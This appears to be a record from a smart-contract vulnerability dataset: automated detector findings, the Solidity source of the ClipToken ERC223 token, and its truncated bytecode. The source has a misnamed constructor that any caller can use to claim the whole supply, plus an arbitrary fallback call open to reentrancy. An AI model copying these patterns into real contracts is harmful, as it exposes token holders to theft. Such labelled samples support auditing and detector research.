{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,471
0x754f77411d7bdd2ecbb0bef7ed63f036985d1b38
pragma solidity ^0.4.20; /** * @title ContractReceiver * @dev Receiver for ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract ClipToken is ERC223, Ownable { using SafeMath for uint256; string public name = "ClipToken"; string public symbol = "CLIP"; uint8 public decimals = 8; uint256 public initialSupply = 400e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); function Clip() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { // retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; FrozenFunds(targets[i], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev token fallback function */ function() payable public { autoDistribute(); } }
0x608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461015357806306fdde031461018257806318160ddd14610212578063256fa2411461023d578063313ce567146102c5578063378dc3dc146102f657806340c10f19146103215780634f25eced1461038657806364ddc605146103b157806370a082311461045a5780637d64bcb4146104b15780638da5cb5b146104e057806395d89b41146105375780639dc29fac146105c7578063a71be2c014610614578063a8f11eb91461062b578063a9059cbb14610635578063b414d4b61461069a578063be45fd62146106f5578063c341b9f6146107a0578063cbbe974b14610812578063d39b1d4814610869578063f0dc417114610896578063f2fde38b14610957578063f6368f8a1461099a575b610151610a8b565b005b34801561015f57600080fd5b50610168610dd8565b604051808215151515815260200191505060405180910390f35b34801561018e57600080fd5b50610197610deb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d75780820151818401526020810190506101bc565b50505050905090810190601f1680156102045780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021e57600080fd5b50610227610e8d565b6040518082815260200191505060405180910390f35b34801561024957600080fd5b506102ab6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610e97565b604051808215151515815260200191505060405180910390f35b3480156102d157600080fd5b506102da6112c2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030257600080fd5b5061030b6112d9565b6040518082815260200191505060405180910390f35b34801561032d57600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112df565b604051808215151515815260200191505060405180910390f35b34801561039257600080fd5b5061039b6114c4565b6040518082815260200191505060405180910390f35b3480156103bd57600080fd5b5061045860048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506114ca565b005b34801561046657600080fd5b5061049b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ce565b6040518082815260200191505060405180910390f35b3480156104bd57600080fd5b506104c6611717565b604051808215151515815260200191505060405180910390f35b3480156104ec57600080fd5b506104f56117df565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054357600080fd5b5061054c611805565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058c578082015181840152602081019050610571565b50505050905090810190601f1680156105b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d357600080fd5b50610612600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118a7565b005b34801561062057600080fd5b50610629611a16565b005b610633610a8b565b005b34801561064157600080fd5b50610680600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a67565b604051808215151515815260200191505060405180910390f35b3480156106a657600080fd5b506106db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfb565b604051808215151515815260200191505060405180910390f35b34801561070157600080fd5b50610786600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611c1b565b604051808215151515815260200191505060405180910390f35b3480156107ac57600080fd5b5061081060048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611dac565b005b34801561081e57600080fd5b50610853600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f4e565b6040518082815260200191505060405180910390f35b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611f66565b005b3480156108a257600080fd5b5061093d6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611fcc565b604051808215151515815260200191505060405180910390f35b34801561096357600080fd5b50610998600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612479565b005b3480156109a657600080fd5b50610a71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506125d1565b604051808215151515815260200191505060405180910390f35b6000600754118015610ac95750600754610ac6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116ce565b10155b8015610b25575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610b6f5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610b7a57600080fd5b6000341115610bed57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610beb573d6000803e3d6000fd5b505b610c5a60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612ac3565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0a600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600754612adc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e835780601f10610e5857610100808354040283529160200191610e83565b820191906000526020600020905b815481529060010190602001808311610e6657829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610eac575060008551115b8015610f08575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610f525750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610f5d57600080fd5b610f6b846305f5e100612afa565b9350610f78848651612afa565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fc857600080fd5b600090505b845181101561122a5760008582815181101515610fe657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415801561107b575060001515600a6000878481518110151561102557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110dc5750600b6000868381518110151561109457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156110e757600080fd5b6111476009600087848151811015156110fc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612adc565b60096000878481518110151561115957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156111af57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610fcd565b611273600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612ac3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133d57600080fd5b600860009054906101000a900460ff1615151561135957600080fd5b60008211151561136857600080fd5b61137460065483612adc565b6006819055506113c3600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612adc565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152857600080fd5b6000835111801561153a575081518351145b151561154557600080fd5b600090505b82518110156116c957818181518110151561156157fe5b90602001906020020151600b6000858481518110151561157d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156115ce57600080fd5b81818151811015156115dc57fe5b90602001906020020151600b600085848151811015156115f857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561164e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561169d57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061154a565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177557600080fd5b600860009054906101000a900460ff1615151561179157600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190357600080fd5b60008111801561191b575080611918836116ce565b10155b151561192657600080fd5b61196f600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612ac3565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119be60065482612ac3565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600554600681905550600654600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60006060600083118015611acb575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611b27575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611b715750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611bbb5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611bc657600080fd5b611bcf84612b35565b15611be657611bdf848483612b48565b9150611bf4565b611bf1848483612e6e565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611c7c575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611cd8575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611d225750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611d6c5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611d7757600080fd5b611d8084612b35565b15611d9757611d90848484612b48565b9050611da5565b611da2848484612e6e565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0a57600080fd5b60008351111515611e1a57600080fd5b600090505b8251811015611f495760008382815181101515611e3857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611e6557600080fd5b81600a60008584815181101515611e7857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611ee157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611e1f565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc257600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561202d57600080fd5b6000855111801561203f575083518551145b151561204a57600080fd5b60009150600090505b84518110156123e1576000848281518110151561206c57fe5b906020019060200201511180156120b157506000858281518110151561208e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612124575060001515600a600087848151811015156120ce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156121855750600b6000868381518110151561213d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561219057600080fd5b6121b584828151811015156121a157fe5b906020019060200201516305f5e100612afa565b84828151811015156121c357fe5b906020019060200201818152505083818151811015156121df57fe5b906020019060200201516009600087848151811015156121fb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561224d57600080fd5b6122c460096000878481518110151561226257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485838151811015156122b557fe5b90602001906020020151612ac3565b6009600087848151811015156122d657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233f82858381518110151561233057fe5b90602001906020020151612adc565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561236657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811015156123b557fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612053565b61242a600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612adc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124d557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561251157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008084118015612632575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561268e575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156126d85750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156127225750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561272d57600080fd5b61273685612b35565b15612aad5783612745336116ce565b101561275057600080fd5b61276261275c336116ce565b85612ac3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b76127b1866116ce565b85612adc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156128495780518252602082019150602081019050602083039250612824565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561292a57808201518184015260208101905061290f565b50505050905090810190601f1680156129575780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561297757fe5b826040518082805190602001908083835b6020831015156129ad5780518252602082019150602081019050602083039250612988565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612abb565b612ab8858585612e6e565b90505b949350505050565b6000828211151515612ad157fe5b818303905092915050565b6000808284019050838110151515612af057fe5b8091505092915050565b6000806000841415612b0f5760009150612b2e565b8284029050828482811515612b2057fe5b04141515612b2a57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612b55336116ce565b1015612b6057600080fd5b612b72612b6c336116ce565b85612ac3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815